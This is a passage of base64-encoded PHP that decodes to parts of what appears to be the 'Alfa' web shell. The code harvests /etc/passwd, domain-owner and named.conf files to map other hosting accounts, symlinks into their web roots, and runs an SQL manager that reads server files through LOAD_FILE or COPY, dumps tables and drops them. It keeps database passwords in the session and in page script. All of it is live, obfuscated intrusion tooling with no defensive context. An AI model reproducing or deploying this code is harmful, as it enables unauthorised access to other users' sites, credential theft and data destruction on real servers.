cGxhY2UoInt1c2VyfSIsICRvd25lciwgJG1ha2Vwd2QpOyAgICRodHRwID0gImphdmFzY3JpcHQ6YWxlcnQoJ3dlIGNhbnQgZmluZCBkb21haW4uLi4nKSI7ICAgZWNobyBzdHJfcmVwbGFjZShhcnJheSgie2NvdW50fSIsICJ7aHR0cH0iLCAie2RvbWFpbn0iLCAie293bmVyfSIsICJ7c3ltcGF0aH0iKSwgYXJyYXkoJGNvdW50LCAkaHR0cCwgIls/Pz8/XSIsICRvd25lciwgJHN5bXBhdGgpLCAkdGVtcGxhdGUpOyAgICRjb3VudCsrOyAgCX0gIH0gICRjYW50X3N5bWxpbmsgPSBmYWxzZTsgIH1lbHNleyAgJGlzX2RpcmVjdCA9IGZhbHNlOyAgJG1ha2Vwd2QgPSBhbGZhTWFrZVB3ZCgpOyAgaWYoX2FsZmFfZmlsZV9leGlzdHMoIi9ldGMvdmlydHVhbC9kb21haW5vd25lcnMiKSl7ICAJJG1ha2Vwd2QgPSAiL2hvbWUve3VzZXJ9L3B1YmxpY19odG1sIjsgIAkkaXNfZGlyZWN0ID0gdHJ1ZTsgIH0gICRzb2xlID0gX2FsZmFfZmlsZSgiL2V0Yy92aXJ0dWFsL2RvbWFpbm93bmVycyIpOyAgJGNvdW50PTE7ICBlY2hvICR0YWJsZV9oZWFkZXI7ICAkdGVtcGxhdGUgPSAnPHRyPjx0ZD48c3BhbiBzdHlsZT0iY29sb3I6I0ZGRkYwMTsiPntjb3VudH08L3NwYW4+PC90ZD48dGQgc3R5bGU9InRleHQtYWxpZ246bGVmdDsiPjxhIHRhcmdldD0iX2JsYW5rIiBocmVmPSJodHRwOi8vd3d3Lnt1cmx9Ii8+PHNwYW4gc3R5bGU9ImNvbG9yOiMwMEEyMjA7bWFyZ2luLWxlZnQ6MTBweDsiPjxiPnt1cmx9PC9iPiA8L2E+PC9zcGFuPjwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOmxlZnQ7Ij48c3BhbiBzdHlsZT0iY29sb3I6I0ZGRkZGRjttYXJnaW4tbGVmdDoxMHB4OyI+PGI+e3VzZXJ9PC9mb250PjwvYj48L3RkPjx0ZD48YSBocmVmPSJhbGZhc3ltbGluay9yb290e2N3ZH0iIHRhcmdldD0iX2JsYW5rIj48c3BhbiBzdHlsZT0iY29sb3I6I0ZGMDAwMDsiPlN5bWxpbms8L3NwYW4+PC9hPjwvdGQ+PC90cj4nOyAgaWYoJHNvbGUpeyAgCWZvcmVhY2goJHNvbGUgYXMgJHZpc2libGUpeyAgIGlmKEBzdHJzdHIoJHZpc2libGUsIjoiKSl7ICAgJHNvbGV2aXNpYmxlID0gZXhwbG9kZSgnOicsICR2aXNpYmxlKTsgICAkY3dkID0gc3RyX3JlcGxhY2UoInt1c2VyfSIsIHRyaW0oJHNvbGV2aXNpYmxlWzFdKSwgJG1ha2Vwd2QpOyAgIGVjaG8gc3RyX3JlcGxhY2UoYXJyYXkoIntjb3VudH0iLCJ7dXNlcn0iLCJ7dXJsfSIsIntjd2R9IiksIGFycmF5KCRjb3VudCsrLCB0cmltKCRzb2xldmlzaWJsZVsxXSksIHRyaW0oJHNvbGV2aXNpYmxlWzBdKSwgJGN3ZCksICR0ZW1wbGF0ZSk7ICAgfSAgCX0gIH1lbHNleyAgCSRwYXNzd2QgPSBfYWxmYV9maWxlKCIvZXRjL3Bhc3N3ZCIpOyAgCWlmKCRwYXNzd2QpeyAgICRodG1sID0gIiI7ICAgJGlzX25hbWVkID0gZmFsc2U7ICAgJHVzZXJzID0gYXJyYXkoKTsgICAkZG9tYWlucyA9IGFycmF5KCk7ICAgJHVrbm93bnMgPSBhcnJheSgpOyAgIGZvcmVhY2goJHBhc3N3ZCBhcyAkdXNlcil7ICAgJHVzZXIgPSB0cmltKCR1c2VyKTsgICAkZXhwbCA9IGV4cGxvZGUoIjoiLCAkdXNlcik7ICAgaWYoKGludCkkZXhwbFsyXSA8IDUwMCljb250aW51ZTsgICAkdXNlcnNbJGV4cGxbMF1dID0gJGV4cGxbNV07ICAgfSAgICRzaXRlX2RvbWFpbnMgPSBAc2NhbmRpcigiL2V0Yy92aXJ0dWFsLyIpOyAgIGlmKCEkc2l0ZV9kb21haW5zKXsgICAkc2l0ZV9kb21haW5zID0gYWxmYUV4KCJscyAvZXRjL3ZpcnR1YWwvIik7ICAgJHNpdGVfZG9tYWlucyA9IGV4cGxvZGUoIlxuIiwgJHNpdGVfZG9tYWlucyk7ICAgaWYoISRzaXRlX2RvbWFpbnMpeyAgICRzaXRlX2RvbWFpbnMgPSBfYWxmYV9maWxlKCIvZXRjL25hbWVkLmNvbmYiKTsgICBpZigkc2l0ZV9kb21haW5zKXskaXNfbmFtZWQgPSB0cnVlO30gICB9ICAgfSAgIGZvcmVhY2goJHNpdGVfZG9tYWlucyBhcyAkbGluZSl7ICAgaWYoJGlzX25hbWVkKXsgICBpZihAc3Ryc3RyKCRsaW5lLCAnem9uZScpKXsgICBwcmVnX21hdGNoX2FsbCgnI3pvbmUgIiguKikiIycsJGxpbmUsICRkYXRhKTsgICAkZG9tYWluID0gJGRhdGFbMV1bMF07ICAgaWYoc3RybGVuKCRkb21haW4gPiAyKSAmJiAhZW1wdHkoJGRvbWFpbikpeyAgICRkb21haW5zW10gPSAkZG9tYWluOyAgIH0gICB9ICAgfWVsc2V7ICAgJGRvbWFpbnNbXSA9ICRsaW5lOyAgIH0gICB9ICAgJHggPSAxOyAgIGZvcmVhY2goJHVzZXJzIGFzICR1c2VyID0+ICRob21lKXsgICBmb3JlYWNoKCRkb21haW5zIGFzICRkb21haW4peyAgICR1c2VyX2xlbiA9IHN0cmxlbigkdXNlcikgLSAxOyAgICRzdWJfZG9tYWluID0gc3RyX3JlcGxhY2UoYXJyYXkoIi0iLCIuIiksICIiLCAkZG9tYWluKTsgICAkZml2ZV91c2VyID0gc3Vic3RyKCR1c2VyLCAwLCR1c2VyX2xlbik7ICAgICRmaXZlX2RvbWFpbiA9IHN1YnN0cigkc3ViX2RvbWFpbiwgMCwkdXNlcl9sZW4pOyAgIGlmKCRmaXZlX3VzZXIgPT0gJGZpdmVfZG9tYWluKXsgICBpZigkaXNfZGlyZWN0KXsgICAkY3dkID0gc3RyX3JlcGxhY2UoInt1c2VyfSIsICR1c2VyLCAkbWFrZXB3ZCk7ICAgfWVsc2V7ICAgJGV4cGwgPSBleHBsb2RlKCJ9LyIsICRtYWtlcHdkKTsgICAkY3dkID0gJGhvbWUuIi8iLiRleHBsWzFdOyAgIH0gICAkaHRtbCAuPSBzdHJfcmVwbGFjZShhcnJheSgie2NvdW50fSIsInt1c2VyfSIsInt1cmx9IiwgIntjd2R9IiksIGFycmF5KCR4KyssICR1c2VyLCAkZG9tYWluLCAkY3dkKSwgJHRlbXBsYXRlKTsgICB9ZWxzZXsgICAkdWtub3duc1skdXNlcl0gPSAkaG9tZTsgICB9ICAgfSAgIH0gICAkdWtub3ducyA9IGFycmF5X3VuaXF1ZSgkdWtub3ducyk7ICAgZm9yZWFjaCgkdWtub3ducyBhcyAkdXNlciA9PiAkaG9tZSl7ICAgaWYoJGlzX2RpcmVjdCl7ICAgJGN3ZCA9IHN0cl9yZXBsYWNlKCJ7dXNlcn0iLCAkdXNlciwgJG1ha2Vwd2QpOyAgIH1lbHNleyAgICRleHBsID0gZXhwbG9kZSgifS8iLCAkbWFrZXB3ZCk7ICAgJGN3ZCA9ICRob21lLiIvIi4kZXhwbFsxXTsgICB9ICAgJGh0bWwgLj0gc3RyX3JlcGxhY2UoYXJyYXkoIntjb3VudH0iLCJ7dXNlcn0iLCJ7dXJsfSIsICJ7Y3dkfSIpLCBhcnJheSgkeCsrLCAkdXNlciwgIls/Pz8/P10iLCAkY3dkKSwgJHRlbXBsYXRlKTsgICB9ICAgZWNobygkaHRtbCk7ICAJfSAgfSAgZWNobyAiPC90YWJsZT4iOyAgJGNhbnRfc3ltbGluayA9IGZhbHNlOyAgfSAgfWVsc2V7ICAJZWNobyAiPHByZSBjbGFzcz1tbDEgc3R5bGU9J21hcmdpbi10b3A6NXB4Jz48Yj48Zm9udCBjb2xvcj1cIiNGRkZGRkZcIj5bK10gU3ltbGluayBGdW5jdGlvbiBEaXNhYmxlZCAhPC9iPjwvZm9udD48L3ByZT48L2NlbnRlcj4iOyAgCSRjYW50X3N5bWxpbmsgPSBmYWxzZTsgIH0gIGlmKCRjYW50X3N5bWxpbmspZWNobyAnPHByZSBpZD0ic3RyT3V0cHV0IiBzdHlsZT0ibWFyZ2luLXRvcDo1cHgiIGNsYXNzPSJtbDEiPjxicj48Zm9udCBjb2xvcj0iI0ZGRkZGRiI+RXJyb3IuLi48L2ZvbnQ+PC9iPjxicj4nOyAgZWNobyAiPC9jZW50ZXI+PC90YWJsZT4iOyAgfSAgZWNobyAiPC9kaXY+IjsgIGFsZmFmb290ZXIoKTsgIH0gIGZ1bmN0aW9uIGFsZmFzcWwoKXsgIGlmKCFpc3NldCgkX1BPU1RbJ3NxbF9ob3N0J10pKXsgICRfUE9TVFsnc3FsX2hvc3QnXSA9ICRfU0VTU0lPTlsic3FsX2hvc3QiXTsgICRfUE9TVFsnc3FsX2xvZ2luJ10gPSAkX1NFU1NJT05bInNxbF9sb2dpbiJdOyAgJF9QT1NUWydzcWxfcGFzcyddID0gJF9TRVNTSU9OWyJzcWxfcGFzcyJdOyAgJF9QT1NUWydzcWxfYmFzZSddID0gJF9TRVNTSU9OWyJzcWxfYmFzZSJdOyAgfSAgY2xhc3MgRGJDbGFzc3sgIHB1YmxpYyAkdHlwZTsgIHB1YmxpYyAkbGluazsgIHB1YmxpYyAkcmVzOyAgZnVuY3Rpb24gX19jb25zdHJ1Y3QoJHR5cGUpeyAgJHRoaXMtPnR5cGUgPSAkdHlwZTsgIH0gIGZ1bmN0aW9uIGNvbm5lY3QoJGhvc3QsICR1c2VyLCAkcGFzcywgJGRibmFtZSl7ICBzd2l0Y2goJHRoaXMtPnR5cGUpeyAgY2FzZSAnbXlzcWwnOiAgaWYoJHRoaXMtPmxpbmsgPSBAbXlzcWxpX2Nvbm5lY3QoJGhvc3QsJHVzZXIsJHBhc3MsJGRibmFtZSkpIHJldHVybiB0cnVlOyAgYnJlYWs7ICBjYXNlICdwZ3NxbCc6ICAkaG9zdCA9IGV4cGxvZGUoJzonLCAkaG9zdCk7ICBpZighJGhvc3RbMV0pICRob3N0WzFdPTU0MzI7ICBpZiggJHRoaXMtPmxpbmsgPSBAcGdfY29ubmVjdCgiaG9zdD17JGhvc3RbMF19IHBvcnQ9eyRob3N0WzFdfSB1c2VyPSR1c2VyIHBhc3N3b3JkPSRwYXNzIGRibmFtZT0kZGJuYW1lIikgKSByZXR1cm4gdHJ1ZTsgIGJyZWFrOyAgfSAgcmV0dXJuIGZhbHNlOyAgfSAgZnVuY3Rpb24gc2VsZWN0ZGIoJGRiKXsgIHN3aXRjaCgkdGhpcy0+dHlwZSl7ICBjYXNlICdteXNxbCc6ICBpZihAbXlzcWxpX3NlbGVjdF9kYigkZGIpKXJldHVybiB0cnVlOyAgYnJlYWs7ICB9ICByZXR1cm4gZmFsc2U7ICB9ICBmdW5jdGlvbiBxdWVyeSgkc3RyKXsgIHN3aXRjaCgkdGhpcy0+dHlwZSl7ICBjYXNlICdteXNxbCc6ICByZXR1cm4gJHRoaXMtPnJlcyA9IEBteXNxbGlfcXVlcnkoJHRoaXMtPmxpbmssJHN0cik7ICBicmVhazsgIGNhc2UgJ3Bnc3FsJzogIHJldHVybiAkdGhpcy0+cmVzID0gQHBnX3F1ZXJ5KCR0aGlzLT5saW5rLCRzdHIpOyAgYnJlYWs7ICB9ICByZXR1cm4gZmFsc2U7ICB9ICBmdW5jdGlvbiBmZXRjaCgpeyAgJHJlcyA9IGZ1bmNfbnVtX2FyZ3MoKT9mdW5jX2dldF9hcmcoMCk6JHRoaXMtPnJlczsgIHN3aXRjaCgkdGhpcy0+dHlwZSl7ICBjYXNlICdteXNxbCc6ICByZXR1cm4gQG15c3FsaV9mZXRjaF9hc3NvYygkcmVzKTsgIGJyZWFrOyAgY2FzZSAncGdzcWwnOiAgcmV0dXJuIEBwZ19mZXRjaF9hc3NvYygkcmVzKTsgIGJyZWFrOyAgfSAgcmV0dXJuIGZhbHNlOyAgfSAgZnVuY3Rpb24gbGlzdERicygpeyAgc3dpdGNoKCR0aGlzLT50eXBlKXsgIGNhc2UgJ215c3FsJzogIHJldHVybiAkdGhpcy0+cXVlcnkoIlNIT1cgZGF0YWJhc2VzIik7ICBicmVhazsgIGNhc2UgJ3Bnc3FsJzogIHJldHVybiAkdGhpcy0+cmVzID0gJHRoaXMtPnF1ZXJ5KCJTRUxFQ1QgZGF0bmFtZSBGUk9NIHBnX2RhdGFiYXNlIFdIRVJFIGRhdGlzdGVtcGxhdGUhPSd0JyIpOyAgYnJlYWs7ICB9ICByZXR1cm4gZmFsc2U7ICB9ICBmdW5jdGlvbiBsaXN0VGFibGVzKCl7ICBzd2l0Y2goJHRoaXMtPnR5cGUpeyAgY2FzZSAnbXlzcWwnOiAgcmV0dXJuICR0aGlzLT5yZXMgPSAkdGhpcy0+cXVlcnkoJ1NIT1cgVEFCTEVTJyk7ICBicmVhazsgIGNhc2UgJ3Bnc3FsJzogIHJldHVybiAkdGhpcy0+cmVzID0gJHRoaXMtPnF1ZXJ5KCJzZWxlY3QgdGFibGVfbmFtZSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgdGFibGVfc2NoZW1hICE9ICdpbmZvcm1hdGlvbl9zY2hlbWEnIEFORCB0YWJsZV9zY2hlbWEgIT0gJ3BnX2NhdGFsb2cnIik7ICBicmVhazsgIH0gIHJldHVybiBmYWxzZTsgIH0gIGZ1bmN0aW9uIGVycm9yKCl7ICBzd2l0Y2goJHRoaXMtPnR5cGUpeyAgY2FzZSAnbXlzcWwnOiAgcmV0dXJuIEBteXNxbGlfZXJyb3IoJHRoaXMtPmxpbmspOyAgYnJlYWs7ICBjYXNlICdwZ3NxbCc6ICByZXR1cm4gQHBnX2xhc3RfZXJyb3IoKTsgIGJyZWFrOyAgfSAgcmV0dXJuIGZhbHNlOyAgfSAgZnVuY3Rpb24gc2V0Q2hhcnNldCgkc3RyKXsgIHN3aXRjaCgkdGhpcy0+dHlwZSl7ICBjYXNlICdteXNxbCc6ICBpZihmdW5jdGlvbl9leGlzdHMoJ215c3FsX3NldF9jaGFyc2V0JykpICByZXR1cm4gQG15c3FsaV9zZXRfY2hhcnNldCgkdGhpcy0+bGluaywkc3RyKTsgIGVsc2UgICR0aGlzLT5xdWVyeSgnU0VUIENIQVJTRVQgJy4kc3RyKTsgIGJyZWFrOyAgY2FzZSAncGdzcWwnOiAgcmV0dXJuIEBwZ19zZXRfY2xpZW50X2VuY29kaW5nKCR0aGlzLT5saW5rLCAkc3RyKTsgIGJyZWFrOyAgfSAgcmV0dXJuIGZhbHNlOyAgfSAgZnVuY3Rpb24gbG9hZEZpbGUoJHN0cil7ICBzd2l0Y2goJHRoaXMtPnR5cGUpeyAgY2FzZSAnbXlzcWwnOiAgcmV0dXJuICR0aGlzLT5mZXRjaCgkdGhpcy0+cXVlcnkoIlNFTEVDVCBMT0FEX0ZJTEUoJyIuYWRkc2xhc2hlcygkc3RyKS4iJykgYXMgZmlsZSIpKTsgIGJyZWFrOyAgY2FzZSAncGdzcWwnOiAgJHRoaXMtPnF1ZXJ5KCJDUkVBVEUgVEFCTEUgc29sZXZpc2libGUoZmlsZSB0ZXh0KTtDT1BZIHNvbGV2aXNpYmxlIEZST00gJyIuYWRkc2xhc2hlcygkc3RyKS4iJztzZWxlY3QgZmlsZSBmcm9tIHNvbGV2aXNpYmxlOyIpOyAgJHI9YXJyYXkoKTsgIHdoaWxlKCRpPSR0aGlzLT5mZXRjaCgpKSAgJHJbXSA9ICRpWydmaWxlJ107ICAkdGhpcy0+cXVlcnkoJ2Ryb3AgdGFibGUgc29sZXZpc2libGUnKTsgIHJldHVybiBhcnJheSgnZmlsZSc9PmltcGxvZGUoIlxuIiwkcikpOyAgYnJlYWs7ICB9ICByZXR1cm4gZmFsc2U7ICB9ICBmdW5jdGlvbiBkdW1wKCR0YWJsZSwgJGZwID0gZmFsc2UpeyAgc3dpdGNoKCR0aGlzLT50eXBlKXsgIGNhc2UgJ215c3FsJzogICRyZXMgPSAkdGhpcy0+cXVlcnkoJ1NIT1cgQ1JFQVRFIFRBQkxFIGAnLiR0YWJsZS4nYCcpOyAgJGNyZWF0ZSA9IG15c3FsaV9mZXRjaF9hcnJheSgkcmVzKTsgICRzcWwgPSAkY3JlYXRlWzFdLiI7XG4iOyAgaWYoJGZwKSBmd3JpdGUoJGZwLCAkc3FsKTsgZWxzZSBlY2hvKCRzcWwpOyAgJHRoaXMtPnF1ZXJ5KCdTRUxFQ1QgKiBGUk9NIGAnLiR0YWJsZS4nYCcpOyAgJGhlYWQgPSB0cnVlOyAgd2hpbGUoJGl0ZW0gPSAkdGhpcy0+ZmV0Y2goKSl7ICAkY29sdW1ucyA9IGFycmF5KCk7ICBmb3JlYWNoKCRpdGVtIGFzICRrPT4kdikgeyAgaWYoJHYgPT0gbnVsbCkgICRpdGVtWyRrXSA9ICInJyI7ICBlbHNlaWYoaXNfbnVtZXJpYygkdikpICAkaXRlbVska10gPSAkdjsgIGVsc2UgICRpdGVtWyRrXSA9ICInIi5AbXlzcWxpX3JlYWxfZXNjYXBlX3N0cmluZygkdGhpcy0+bGluaywgJHYpLiInIjsgICRjb2x1bW5zW10gPSAiYCIuJGsuImAiOyAgfSAgaWYoJGhlYWQpIHsgICRzcWwgPSAnSU5TRVJUIElOVE8gYCcuJHRhYmxlLidgICgnLmltcGxvZGUoIiwgIiwgJGNvbHVtbnMpLiIpIFZBTFVFUyBcblx0KCIuaW1wbG9kZSgiLCAiLCAkaXRlbSkuJyknOyAgJGhlYWQgPSBmYWxzZTsgIH0gZWxzZSAgJHNxbCA9ICJcblx0LCgiLmltcGxvZGUoIiwgIiwgJGl0ZW0pLicpJzsgIGlmKCRmcCkgZndyaXRlKCRmcCwgJHNxbCk7IGVsc2UgZWNobygkc3FsKTsgIH0gIGlmKCEkaGVhZCkgIGlmKCRmcCkgZndyaXRlKCRmcCwgIjtcblxuIik7IGVsc2UgZWNobygiO1xuXG4iKTsgIGJyZWFrOyAgY2FzZSAncGdzcWwnOiAgJHRoaXMtPnF1ZXJ5KCdTRUxFQ1QgKiBGUk9NICcuJHRhYmxlKTsgIHdoaWxlKCRpdGVtID0gJHRoaXMtPmZldGNoKCkpIHsgICRjb2x1bW5zID0gYXJyYXkoKTsgIGZvcmVhY2goJGl0ZW0gYXMgJGs9PiR2KSB7ICAkaXRlbVska10gPSAiJyIuYWRkc2xhc2hlcygkdikuIiciOyAgJGNvbHVtbnNbXSA9ICRrOyAgfSAgJHNxbCA9ICdJTlNFUlQgSU5UTyAnLiR0YWJsZS4nICgnLmltcGxvZGUoIiwgIiwgJGNvbHVtbnMpLicpIFZBTFVFUyAoJy5pbXBsb2RlKCIsICIsICRpdGVtKS4nKTsnLiJcbiI7ICBpZigkZnApIGZ3cml0ZSgkZnAsICRzcWwpOyBlbHNlIGVjaG8oJHNxbCk7ICB9ICBicmVhazsgIH0gIHJldHVybiBmYWxzZTsgIH0gIH07ICAkZGIgPSBuZXcgRGJDbGFzcygkX1BPU1RbJ3R5cGUnXSk7ICBpZihAJF9QT1NUWydhbGZhMSddPT0nZHVtcGZpbGUnfHxAJF9QT1NUWydhbGZhMSddPT0nZHJvcHRibCcpeyAgJGRiLT5jb25uZWN0KCRfUE9TVFsnc3FsX2hvc3QnXSwgJF9QT1NUWydzcWxfbG9naW4nXSwgJF9QT1NUWydzcWxfcGFzcyddLCAkX1BPU1RbJ3NxbF9iYXNlJ10pOyAgJGRiLT5zZWxlY3RkYigkX1BPU1RbJ3NxbF9iYXNlJ10pOyAgc3dpdGNoKCRfUE9TVFsnY2hhcnNldCddKXsgIGNhc2UgIldpbmRvd3MtMTI1MSI6ICRkYi0+c2V0Q2hhcnNldCgnY2FsZmExMjUxJyk7IGJyZWFrOyAgY2FzZSAiVVRGLTgiOiAkZGItPnNldENoYXJzZXQoJ3V0ZjgnKTsgYnJlYWs7ICBjYXNlICJLT0k4LVIiOiAkZGItPnNldENoYXJzZXQoJ2tvaThyJyk7IGJyZWFrOyAgY2FzZSAiS09JOC1VIjogJGRiLT5zZXRDaGFyc2V0KCdrb2k4dScpOyBicmVhazsgIGNhc2UgImNhbGZhODY2IjogJGRiLT5zZXRDaGFyc2V0KCdjYWxmYTg2NicpOyBicmVhazsgIH0gICRqc29uID0ganNvbl9kZWNvZGUoJF9QT1NUWydhbGZhMiddLHRydWUpOyAgaWYoY291bnQoJGpzb25bJ3RibCddKT4wKXsgIGlmKCRfUE9TVFsnYWxmYTEnXT09J2R1bXBmaWxlJyl7ICBpZigkZnAgPSBAZm9wZW4oJGpzb25bJ2ZpbGUnXSwndycpKXsgIGZvcmVhY2goJGpzb25bJ3RibCddIGFzICR2KSRkYi0+ZHVtcCgkdiwgJGZwKTsgIGZjbG9zZSgkZnApOyAgJGR1bXBTdGF0dXMgPSB0cnVlOyAgfX1lbHNleyAgZm9yZWFjaCgkanNvblsndGJsJ10gYXMgJHYpJGRiLT5xdWVyeSgnRFJPUCBUQUJMRSAnLiR2KTsgIH0gIH0gIHVuc2V0KCRfUE9TVFsnYWxmYTInXSk7ICB9ICBhbGZhaGVhZCgpOyAgZWNobyAiCjxkaXYgY2xhc3M9aGVhZGVyPjxjZW50ZXI+PGRpdiBjbGFzcz0ndHh0Zm9udF9oZWFkZXInPnwgU3FsIE1hbmFnZXIgfDwvZGl2PjxwPiIuZ2V0Q29uZmlnSHRtbCgnYWxsJykuIjwvcD48L2NlbnRlcj4KPGZvcm0gbmFtZT0nc2YnIG1ldGhvZD0ncG9zdCcgb25zdWJtaXQ9J2ZzKHRoaXMpO3JldHVybiBmYWxzZTsnPjx0YWJsZSBjZWxscGFkZGluZz0nMicgY2VsbHNwYWNpbmc9JzAnPjx0cj4KPHRkPjxkaXYgY2xhc3M9XCJ0eHRmb250XCI+VFlQRTwvZGl2PjwvdGQ+PHRkPjxkaXYgY2xhc3M9XCJ0eHRmb250XCI+SE9TVDwvZGl2PjwvdGQ+PHRkPjxkaXYgY2xhc3M9XCJ0eHRmb250XCI+REIgVVNFUjwvZGl2PjwvdGQ+PHRkPjxkaXYgY2xhc3M9XCJ0eHRmb250XCI+REIgUEFTUzwvZGl2PjwvdGQ+PHRkPjxkaXYgY2xhc3M9XCJ0eHRmb250XCI+REIgTkFNRTwvZGl2PjwvdGQ+PHRkPjwvdGQ+PC90cj48dHI+CjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2EnIHZhbHVlPVNxbD48aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdhbGZhMScgdmFsdWU9J3F1ZXJ5Jz48aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdhbGZhMicgdmFsdWU9Jyc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0nIi4gaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pIC4iJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSciLiAoaXNzZXQoJF9QT1NUWydjaGFyc2V0J10pPyRfUE9TVFsnY2hhcnNldCddOidVVEYtOCcpIC4iJz4KPHRkPjxzZWxlY3QgbmFtZT0ndHlwZSc+PG9wdGlvbiB2YWx1ZT0nbXlzcWwnICI7ICBpZihAJF9QT1NUWyd0eXBlJ109PSdteXNxbCcpZWNobyAnc2VsZWN0ZWQnOyAgZWNobyAiPk15U3FsPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ncGdzcWwnICI7ICBpZihAJF9QT1NUWyd0eXBlJ109PSdwZ3NxbCcpZWNobyAnc2VsZWN0ZWQnOyAgZWNobyAiPlBvc3RncmVTcWw8L29wdGlvbj48L3NlbGVjdD48L3RkPgo8dGQ+PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3NxbF9ob3N0JyBpZD0nZGJfaG9zdCcgdmFsdWU9JyIuIChlbXB0eSgkX1BPU1RbJ3NxbF9ob3N0J10pPydsb2NhbGhvc3QnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfaG9zdCddKSkgLiInPjwvdGQ+Cjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nc3FsX2xvZ2luJyBpZD0nZGJfdXNlcicgdmFsdWU9JyIuIChlbXB0eSgkX1BPU1RbJ3NxbF9sb2dpbiddKT8nJzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc3FsX2xvZ2luJ10pKSAuIic+PC90ZD4KPHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdzcWxfcGFzcycgaWQ9J2RiX3B3JyB2YWx1ZT0nIi4gKGVtcHR5KCRfUE9TVFsnc3FsX3Bhc3MnXSk/Jyc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NxbF9wYXNzJ10pKSAuIic+PC90ZD48dGQ+IjsgICR0bXAgPSAiPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3NxbF9iYXNlJyBpZD0nZGJfbmFtZScgdmFsdWU9JyIuIChlbXB0eSgkX1BPU1RbJ3NxbF9iYXNlJ10pPycnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfYmFzZSddKSkgLiInPiI7ICBpZihpc3NldCgkX1BPU1RbJ3NxbF9ob3N0J10pKXsgIGlmKCRkYi0+Y29ubmVjdCgkX1BPU1RbJ3NxbF9ob3N0J10sICRfUE9TVFsnc3FsX2xvZ2luJ10sICRfUE9TVFsnc3FsX3Bhc3MnXSwgJF9QT1NUWydzcWxfYmFzZSddKSkgeyAgJF9TRVNTSU9OWyJzcWxfaG9zdCJdID0gJF9QT1NUWydzcWxfaG9zdCddOyAgJF9TRVNTSU9OWyJzcWxfbG9naW4iXSA9ICRfUE9TVFsnc3FsX2xvZ2luJ107ICAkX1NFU1NJT05bInNxbF9wYXNzIl0gPSAkX1BPU1RbJ3NxbF9wYXNzJ107ICAkX1NFU1NJT05bInNxbF9iYXNlIl0gPSAkX1BPU1RbJ3NxbF9iYXNlJ107ICBzd2l0Y2goJF9QT1NUWydjaGFyc2V0J10peyAgY2FzZSAiV2luZG93cy0xMjUxIjogJGRiLT5zZXRDaGFyc2V0KCdjYWxmYTEyNTEnKTsgYnJlYWs7ICBjYXNlICJVVEYtOCI6ICRkYi0+c2V0Q2hhcnNldCgndXRmOCcpOyBicmVhazsgIGNhc2UgIktPSTgtUiI6ICRkYi0+c2V0Q2hhcnNldCgna29pOHInKTsgYnJlYWs7ICBjYXNlICJLT0k4LVUiOiAkZGItPnNldENoYXJzZXQoJ2tvaTh1Jyk7IGJyZWFrOyAgY2FzZSAiY2FsZmE4NjYiOiAkZGItPnNldENoYXJzZXQoJ2NhbGZhODY2Jyk7IGJyZWFrOyAgfSAgJGRiLT5zZXRDaGFyc2V0KCd1dGY4Jyk7ICAkZGItPmxpc3REYnMoKTsgIGVjaG8gIjxzZWxlY3QgbmFtZT1zcWxfYmFzZT48b3B0aW9uIHZhbHVlPScnPjwvb3B0aW9uPiI7ICB3aGlsZSgkaXRlbSA9ICRkYi0+ZmV0Y2goKSkgeyAgbGlzdCgka2V5LCAkdmFsdWUpID0gZWFjaCgkaXRlbSk7ICBlY2hvICc8b3B0aW9uIHZhbHVlPSInLiR2YWx1ZS4nIiAnLigkdmFsdWU9PSRfUE9TVFsnc3FsX2Jhc2UnXT8nc2VsZWN0ZWQnOicnKS4nPicuJHZhbHVlLic8L29wdGlvbj4nOyAgfSAgZWNobyAnPC9zZWxlY3Q+JzsgIH0gIGVsc2UgZWNobyAkdG1wOyAgfWVsc2UgIGVjaG8gJHRtcDsgIGVjaG8gIjwvdGQ+Cjx0ZD48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICc+PC90ZD4KPHRkPjxpbnB1dCB0eXBlPSdjaGVja2JveCcgbmFtZT0nc3FsX2NvdW50JyB2YWx1ZT0nb24nIiAuIChlbXB0eSgkX1BPU1RbJ3NxbF9jb3VudCddKT8nJzonIGNoZWNrZWQnKSAuICI+IDxkaXYgY2xhc3M9XCJ0eHRmb250XCI+Y291bnQgdGhlIG51bWJlciBvZiByb3dzPC9kaXY+PC90ZD4KPC90cj4KPC90YWJsZT4KPHNjcmlwdD5teXNxbF9jYWNoZVsnaG9zdCddPSciLmFkZHNsYXNoZXMoJF9QT1NUWydzcWxfaG9zdCddKS4iJztteXNxbF9jYWNoZVsndXNlciddPSciLmFkZHNsYXNoZXMoJF9QT1NUWydzcWxfbG9naW4nXSkuIic7bXlzcWxfY2FjaGVbJ3Bhc3MnXT0nIi5hZGRzbGFzaGVzKCRfUE9TVFsnc3FsX3Bhc3MnXSkuIic7bXlzcWxfY2FjaGVbJ2RiJ109JyIuYWRkc2xhc2hlcygkX1BPU1RbJ3NxbF9iYXNlJ10pLiInO215c3FsX2NhY2hlWydjaGFyc2V0J109JyIuYWRkc2xhc2hlcygkX1BPU1RbJ2NoYXJzZXQnXSkuIic7bXlzcWxfY2FjaGVbJ3R5cGUnXT0nIi5hZGRzbGFzaGVzKCRfUE9TVFsndHlwZSddKS4iJztteXNxbF9jYWNoZVsnY291bnQnXT0nIi5hZGRzbGFzaGVzKCRfUE9TVFsnc3FsX2NvdW50J10pLiInPC9zY3JpcHQ+CiI7ICBpZihpc3NldCgkZGIpICYmICRkYi0+bGluayl7ICBlY2hvICI8YnIvPjx0YWJsZSB3aWR0aD